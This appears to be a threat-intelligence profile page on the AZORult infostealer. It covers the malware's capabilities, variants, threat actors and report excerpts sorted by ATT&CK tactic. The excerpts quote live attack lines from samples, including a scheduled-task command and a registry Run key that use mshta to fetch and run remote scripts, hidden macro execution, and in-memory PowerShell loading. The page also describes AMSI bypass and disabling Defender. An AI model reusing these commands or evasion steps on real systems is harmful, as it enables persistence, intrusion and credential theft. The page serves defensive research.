Azorult
- Type
- Infostealer
- Capabilities
- Credential theftSession hijackingExfiltrationCrypto theftReconnaissanceDefense evasionProcess injectionPrivilege escalationPersistence
- Delivery
- PhishingMalspam
- Platforms
- Windows
AZORult is a commodity Windows information stealer first observed in 2016 and widely used by financially motivated cybercriminals. It steals browser credentials, cookies, browsing history, cryptocurrency-wallet files, selected local files, and credentials stored by applications including Skype, Telegram, and Steam. It also captures screenshots and collects host information, including usernames, operating-system and hardware details, installed software, running processes, network configuration, and time-zone settings.
AZORult supports downloading and executing additional payloads and has delivered Hermes ransomware. Its evasion techniques include decrypting payloads in memory, process hollowing, and file deletion. It uses XOR for content decryption and command-and-control traffic protection, and Base64 to encode command-and-control configuration. It can also use Windows access tokens to start processes with local system privileges.
Distribution has included malspam and phishing campaigns, as well as secondary infections delivered by Chthonic and Emotet. AZORult has been used by multiple actors, including TA505 and VasyGrek, and in campaigns affecting industrial organizations. Stolen data from large numbers of AZORult infections has supplied the Genesis Store cybercrime marketplace.
AZORult++, a C++ variant observed in March 2019, adds remote desktop access by creating a hidden administrator account and enabling RDP. It retains harvested data in memory to reduce disk artifacts and avoids execution on systems configured with several regional language settings. This variant has reduced browser-stealing functionality and lacks the loader capability present in AZORult 3.3. Unofficial variants continued circulating after the original project ceased maintenance.
Associated vulnerabilities
2 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Associated threat actors
9 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
The report connects VasyGrek's use of AZORult in 2017 with forum comments made by the account mts2015stm in discussions about the malware.
The new malware includes AZORult, an information-stealing malware; the remote access tool Remcos; the DarkVNC backdoor trojan; and a clipboard cryptocurrency stealer.
Azorult is an information stealer that steals passwords from installed applications, browser cookies, cryptocurrency wallets, arbitrary files, and more. In this article, the loading phase of the Azorult stealer is analysed...
One of the samples we found was the “Azorult” stealer malware that connects to a C2 server “scat01[.]tk”.
AZORult is one of the best known malware within the Stealer family... Once the stealer is deployed... it obtains information from elements such as: Mail information, Wallets, FTP, Browsers information (Cookies, History…), SSH (Putty|WinSCP).
+3 more in the app. View in Mallory
Techniques & procedures
106 distinct techniques documented for this family, organized by ATT&CK tactic.
Reconnaissance
2 techniques
Reconnaissance
embedded in the tools it provides... collect digital fingerprints and artifacts
the bot metadata, providing context and data on the infected machine; and the data itself – showing the actual stolen credentials and associated details
Resource Development
4 techniques
Resource Development
We believe with moderate confidence that online advertising is used to reach potential victims that are searching for software to install on their systems.
"The attacker registered the fake Japanese government agency domain..." and "Smoke Loader contains the following hardcoded C2 address. jma-go[.]jp/..."
"It looks like the attacker compromised the website... and is using it for distributing AzoRult."
Adversaries may buy, steal, or download malware that can be used during targeting.
Initial Access
6 techniques
Initial Access
These accounts are breached and stolen from victims’ computers generally via infections by banking trojans or other stealers. Such accounts can grant access to tools and software used in a targeted environment, such as RDP, VPN solutions, and more.
Check Point Research spotted a new version of Azorult in the wild being delivered through the RIG exploit kit, as well as other sources.
Palo Alto Networks highlighted the use of earlier versions of AZORult malware in collaboration with the Fallout exploit kit.
Later it was involved in many malspam attacks
Written in German, the email includes an ISO file attachment labeled as “vehicle invoice.”
Threat actors often use the latest world events... as themes for malware content in order to stay relevant and entice victims to visit malicious websites... The emails contained a malicious attachment when opened that would lead to the download of a zip archive. The hyperlink leads to: hxxp://www.servicosfcporto[.]com/upcloud7?...
Execution
12 techniques
Execution
schtasks /create /sc MINUTE /mo 70 /tn (+dagoD+) /tr "mshta http:\\pastebin.com\raw\wnacsSXn" /F
with the use of Word, Excel, PowerShell and three layers of home-grown encryption, this downloader really turned out to be much more interesting than a usual malspam attachment.
we observed the attacker executing PowerShell commands to download files from multiple Tor2Mine-related domains
The execution process is initiated by the shortcut file, which triggers commands from the %temp% folder location.
Set mmn = CreateObject ( "WScript.Shell" ) ... mmn.Run llll, vbHide | To evade detection, the macro in this Excel workbook does not execute directly when the document is opened, but rather when it is closed... Sub Workbook_BeforeClose...
document.write(unescape("%3Cscript...")); ... The escaped script is given below.
Once executed, it creates a new process (usually the AutoIt interpreter that started it) and injects the final payload into its memory where it will be executed.
The script proceeds to load the decoded assembly into the PowerShell memory using [ System.Reflection.Assembly]::Load().
The malicious spam messages were crafted to exploit CVE-2017-11882. The remote code execution flaw is specific to Microsoft Word Equation Editor.
The authors of Azorult fixed a bug in the loader functionality that didn’t allow the malware to load bat files and execute them successfully.
Annotations ID Technique Tactic T1204.001 Malicious Link Execution
Distributed as an attachment of a run-of-the-mill malspam message, the file with a DOC extension didn’t look like anything special...
Persistence
9 techniques
Persistence
schtasks /create /sc MINUTE /mo 70 /tn (+dagoD+) /tr "mshta http:\\pastebin.com\raw\wnacsSXn" /F
These accounts are breached and stolen from victims’ computers generally via infections by banking trojans or other stealers. Such accounts can grant access to tools and software used in a targeted environment, such as RDP, VPN solutions, and more.
To do so, AZORult++ creates a user account using the NetUserAdd() function... before adding this account to the Administrators group
The malware creates a new, hidden administrator account on the machine, and sets a registry key to establish a Remote Desktop Protocol (RDP) connection.
The malware creates a new, hidden administrator account on the machine, and sets a registry key to establish a Remote Desktop Protocol (RDP) connection.
The following analytic detects the creation of local administrator accounts using the net.exe command. It leverages Endpoint Detection and Response (EDR) data to identify processes named net.exe or net1.exe with the "/add" parameter and keywords related to administrator accounts.
Annotations ID Technique Tactic T1543 Create or Modify System Process Persistence
MITRE ATT&CK Techniques ID Technique Tactic T1543.003 Windows Service Persistence, Privilege Escalation
omsvd.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\fgiopoiuytresdfgh" , "mshta http:\\j.mp\fgiopoiuytresdfgh" , "REG_SZ"
Privilege Escalation
12 techniques
Privilege Escalation
schtasks /create /sc MINUTE /mo 70 /tn (+dagoD+) /tr "mshta http:\\pastebin.com\raw\wnacsSXn" /F
These stages ... contain ... a process injection technique... This way, the Azorult binary is loaded into a hollowed instance of svchost
[Azorult](https://attack.mitre.org/software/S0344) can decrypt the payload into memory, create a new suspended process of itself, then inject a decrypted payload to the new process and resume new process execution.(Citation: Unit42 Azorult Nov 2018)
These accounts are breached and stolen from victims’ computers generally via infections by banking trojans or other stealers. Such accounts can grant access to tools and software used in a targeted environment, such as RDP, VPN solutions, and more.
To do so, AZORult++ creates a user account using the NetUserAdd() function... before adding this account to the Administrators group
look for permissions that it has in execution via Token to then be able to execute elements in a different thread
[Azorult](https://attack.mitre.org/software/S0344) can call WTSQueryUserToken and CreateProcessAsUser to start a new process with local system privileges.(Citation: Unit42 Azorult Nov 2018)
Annotations ID Technique Tactic T1543 Create or Modify System Process Persistence
MITRE ATT&CK Techniques ID Technique Tactic T1543.003 Windows Service Persistence, Privilege Escalation
omsvd.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\fgiopoiuytresdfgh" , "mshta http:\\j.mp\fgiopoiuytresdfgh" , "REG_SZ"
The following analytic detects a registry modification that allows the 'Consent Admin' to perform operations requiring elevation without user consent or credentials... This activity is significant as it indicates a potential privilege escalation attempt... Annotations ID Technique Tactic T1548 Abuse Elevation Control Mechanism Defense Evasion
This script is the User Account Control bypass... By evading the User Account Control, the script can run with elevated privileges, and thus disable Windows Defender succesfully.
Stealth
25 techniques
Stealth
In version 3.2, the C&C domain name was xored with a hardcoded key and then encoded with base64. The current version 3.3 shows a new encryption method to obfuscate the domain name.
T1027.002 Obfuscated Files or Information: Software Packing Payloads are packed with a multilayer packer.
A common factor of the operation’s second-stage samples is the usage of steganography to obfuscate their malicious intent.
The behavior mentioned above was the result of four identical Excel spreadsheets embedded as OLE objects in the RTF body… with the “\objupdate” mechanism used to open each of them in turn when the RTF was loaded.
The loader is a .exe or a .iso file pretending to be a software installer.
T1036.005 Masquerading: Match Legitimate Name or Location File names used related to projects directly linked to the Middle East.
These stages ... contain ... a process injection technique... This way, the Azorult binary is loaded into a hollowed instance of svchost
[Azorult](https://attack.mitre.org/software/S0344) can decrypt the payload into memory, create a new suspended process of itself, then inject a decrypted payload to the new process and resume new process execution.(Citation: Unit42 Azorult Nov 2018)
the code also tries to bypass the Microsoft Anti-Malware Scanning Interface (AMSI) using a well-known memory patching technique
[Azorult](https://attack.mitre.org/software/S0344) can delete files from victim machines.(Citation: Unit42 Azorult Nov 2018)
These accounts are breached and stolen from victims’ computers generally via infections by banking trojans or other stealers. Such accounts can grant access to tools and software used in a targeted environment, such as RDP, VPN solutions, and more.
look for permissions that it has in execution via Token to then be able to execute elements in a different thread
[Azorult](https://attack.mitre.org/software/S0344) can call WTSQueryUserToken and CreateProcessAsUser to start a new process with local system privileges.(Citation: Unit42 Azorult Nov 2018)
[Azorult](https://attack.mitre.org/software/S0344) uses an XOR key to decrypt content and uses Base64 to decode the C2 address.(Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)
The malicious cherry on the cake is a call to ShellExecuteW() to open a port to establish a remote connection to the desktop
The CMSTP binary... is used to add or remove a connection manager profile... Process.Start(... CMSTPBypass.BinaryPath )
The Microsoft HTA executable ( mshta ) is present on all modern Windows systems, and is a LoLBin... This function creates a persistence mechanism to execute the payload that is located at the given URL
Subsequently, we can see how he tries to avoid reinfection with Mutex, but not all samples used the mutex.
After conducting the language check, the loader proceeds to verify if it is operating within a virtual environment.
like many other threats it first checks the language ID of the target machine and stops its execution if it identifies Russian, Armenian, Azerbaijani, Belarusian, Georgian, Kazakh, Tajik, Turkmen, or Uzbek.
Some TA505 Packed samples make use of another anti-emulation technique. They execute long useless loops that makes emulation take forever (as these loops execute fast in non-emulated environments).
Next, AZORult++ hides the newly created account by setting the value of the Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist registry key to 0.
The window style of the executed command is set to hidden using vbHide ... Ixsi.run Bik1, vbHide
the byte array is loaded into the current domain and executed without any additional arguments... [System.Reflection.Assembly]::Load($decompressedByteArray)
We can see from anti-dbg where it is observed if there is any thread with the DBG, or locating the HEAP flags
Defense Impairment
4 techniques
Defense Impairment
The malware creates a new, hidden administrator account on the machine, and sets a registry key to establish a Remote Desktop Protocol (RDP) connection.
ICACLS Grant Command ... T1222 ... Modify ACL permission To Files Or Folder ... Excessive Usage Of Cacls App ... Icacls Deny Command
The following analytic detects the use of the Windows binary attrib.exe to hide files or directories by marking them with specific flags... focusing on command-line arguments that include the "+h" flag.
Windows Defender will be disabled by altering several registry keys. Additionally, the Set-MpPreference cmdlet ... is used to disable even more parts of Windows Defender.
Credential Access
9 techniques
Credential Access
the following post features a quick-and-easy methodology breaking down over 335,000 unique Genesis infections into four malware groups, allowing us to attribute over 300,000 AZORult infections to the Genesis actors currently involved in campaigns resulting is tens of thousands of new AZORult infections per month
The dropped malware is generally able to steal private information, log keyboard strokes and steal browsing data.
one report indicated that Genesis “introduced a new breed of stealers specifically designed to collect digital fingerprints and artifacts;”
header('Set-cookie: pwd='.md5($_POST['password'].$_SERVER['HTTP_USER_AGENT']."").'; httpOnly' );
[Azorult](https://attack.mitre.org/software/S0344) can steal credentials in files belonging to common software such as Skype, Telegram, and Steam.(Citation: Unit42 Azorult Nov 2018)
A module that instructs the AZORult bot to steal passwords and transmits them to the backend database configured for the C&C operations. | These include browsers, FTP clients, mail clients, and instant messaging (IM) clients.
Azorult scans the file system and searches for sensitive data like browser data, cookies, email clients and cryptocurrency wallets.
[Azorult](https://attack.mitre.org/software/S0344) can steal credentials from the victim's browser.(Citation: Unit42 Azorult Nov 2018)
Tor2Mine actors are deploying additional malware in tandem with XMRig during their operations to harvest credentials and steal more money.
Discovery
15 techniques
Discovery
[Azorult](https://attack.mitre.org/software/S0344) can check for installed software on the system under the Registry key <code>Software\Microsoft\Windows\CurrentVersion\Uninstall</code>.(Citation: Unit42 Azorult Nov 2018)
[Azorult](https://attack.mitre.org/software/S0344) can collect host IP information from the victim’s machine.(Citation: Unit42 Azorult Nov 2018)
[Azorult](https://attack.mitre.org/software/S0344) can collect the username from the victim’s machine.(Citation: Unit42 Azorult Nov 2018)
[Azorult](https://attack.mitre.org/software/S0344) can collect a list of running processes by calling CreateToolhelp32Snapshot.(Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)
The following analytic detects the execution of the net localgroup command, which is used to enumerate local group memberships on a system.
[Azorult](https://attack.mitre.org/software/S0344) can collect the machine information, system architecture, the OS version, computer name, Windows product name, the number of CPU cores, video card information, and the system language.(Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)
[Azorult](https://attack.mitre.org/software/S0344) can recursively search for files in folders and collects files from the desktop with certain extensions.(Citation: Unit42 Azorult Nov 2018)
[Azorult](https://attack.mitre.org/software/S0344) can collect the time zone information from the system.(Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)
isBrowserHistory: A module that directs the AZORult bot to steal browser history from the infected system.
After conducting the language check, the loader proceeds to verify if it is operating within a virtual environment.
like many other threats it first checks the language ID of the target machine and stops its execution if it identifies Russian, Armenian, Azerbaijani, Belarusian, Georgian, Kazakh, Tajik, Turkmen, or Uzbek.
Some TA505 Packed samples make use of another anti-emulation technique. They execute long useless loops that makes emulation take forever (as these loops execute fast in non-emulated environments).
The following shows the types of information that are leaked. MachineID, Malware path, Windows version, Computer name, Resolution, Language, Time, Time Zone, CPU model, Number of CPUs, RAM size, Video card information, List of currently running processes, and List of installed programs
Examples include 'Bazar can also check if the Russian language is installed,' 'DropBook has checked for the presence of Arabic language,' 'Maze has checked the language of the infected system,' and 'SynAck ... checks installed keyboard layouts to estimate if it has been launched from a certain list of countries.'
We can see from anti-dbg where it is observed if there is any thread with the DBG, or locating the HEAP flags
Lateral Movement
1 technique
Lateral Movement
The most concerning improvement for the C++ version is the ability to establish a remote connection to the compromised machines via RDP. The malware creates a new, hidden administrator account on the machine, and sets a registry key to establish a Remote Desktop Protocol (RDP) connection.
Collection
8 techniques
Collection
AZORult is able to collect targets browser history, login credentials, crypto-wallet files cookies, files from the infected systems, and more.
the following post features a quick-and-easy methodology breaking down over 335,000 unique Genesis infections into four malware groups, allowing us to attribute over 300,000 AZORult infections to the Genesis actors currently involved in campaigns resulting is tens of thousands of new AZORult infections per month
The dropped malware is generally able to steal private information, log keyboard strokes and steal browsing data.
one report indicated that Genesis “introduced a new breed of stealers specifically designed to collect digital fingerprints and artifacts;”
[Azorult](https://attack.mitre.org/software/S0344) can capture screenshots of the victim’s machines.(Citation: Unit42 Azorult Nov 2018)
Desktop files grabber. Collects files with specified extensions from Desktop. Filter by file size. Recursively searches files in folders.
This campaign deploys an arsenal of malware... able to steal sensitive browser data, cookies, email client data, system information, and two-factor authentication software data.
files{} A module used to define the file settings used by the bot on the client-side
Command and Control
12 techniques
Command and Control
Many entries describe XOR, XOR/ADD, bitwise NOT and XOR, ROR plus XOR, hexadecimal encoding after encryption, and custom encoding/obfuscation of HTTP traffic or beacons.
Original AZORult 3.3 and AZORult++ uses the same algorithm for communication with the C&C server, they use the command format, the structure and method of storing harvested data, and encryption keys.
This new PS script downloads configuration data from a specified URL “hxxp://45[.]90.58.1/index.php”, where $guid is used as parameters in the URL.
"The new malware utilizes SOCKS5 proxies to mask network traffic to and from Command and Control (C&C) infrastructure..." / "...sets up SOCKS5 proxies on victim computers that can then be used by threat actors to tunnel/hide the malicious traffic associated with other malware."
The service is described as a Fast flux but in reality it’s more a simple proxy system. BraZZZers rents a pool of VPSs all around the internet and uses them as proxy IPs in order to hide the real IP of a server.
[Azorult](https://attack.mitre.org/software/S0344) can download and execute additional files. [Azorult](https://attack.mitre.org/software/S0344) has also downloaded a ransomware payload called Hermes.(Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)
helper.exe holds four domains encoded in Base64... The dropper uses the Tor client to connect to one of the decoded domains.
Annotations ID Technique Tactic T1219 Remote Access Tools Command And Control
The domains involved are resolving to a list of IPs, (we observed from 1 up to more than 20 IPs per domain) that are just redirecting the traffic to the real server.
The story we are writing here will try to explain how, from a simple mistake made by an operator, we managed to collect and exploit a lot of precious information from a “Fast Flux” network called BraZZZerS Fast Flux between end of 2018 and 2022.
The content is a catalog of malware and threat groups that encrypt command-and-control communications using algorithms such as DES, AES, RC4, XOR, Blowfish, RSA, Camellia, RC2, RC6, and custom ciphers.
[Azorult](https://attack.mitre.org/software/S0344) can encrypt C2 traffic using XOR.(Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)
Exfiltration
4 techniques
Exfiltration
These threats demonstrate several techniques of the MITRE ATT&CK framework, most notably... T1011 (Exfiltration Over Other Network Medium)
Both T1043 and T1041 are techniques that will most likely leave non-volatile traces behind in network logs from devices like a proxy/gateway/firewall.
The exfiltration of the data is mostly happening over TCP port 80 towards a C2 (command and control) dashboard, as demonstrated in Figure 1.
Analyzing the malware sample downloaded from samsung eblya iphone [.]com , we found that it attempted to send a POST request to samsung eblya iphone [.]com/index.php , which is consistent with this malware family’s known behavior to exfiltrate data.
Impact
4 techniques
Impact
Windows Excessive Service Stop Attempt ... T1489 ... Excessive Attempt To Disable Services
I also find the ability to control the device by remotely shutting it down or suspending it using the Suspend + Force flag
Windows User Disabled Via Net ... T1531 ... Excessive Usage Of Net App ... Windows User Deletion Via Net
Scammers running business email compromise (BEC) fraud have grown in number, attack more often, and turn to remote access trojans as the preferred malware type to accompany their raids.
Observables
1,254 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
200 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.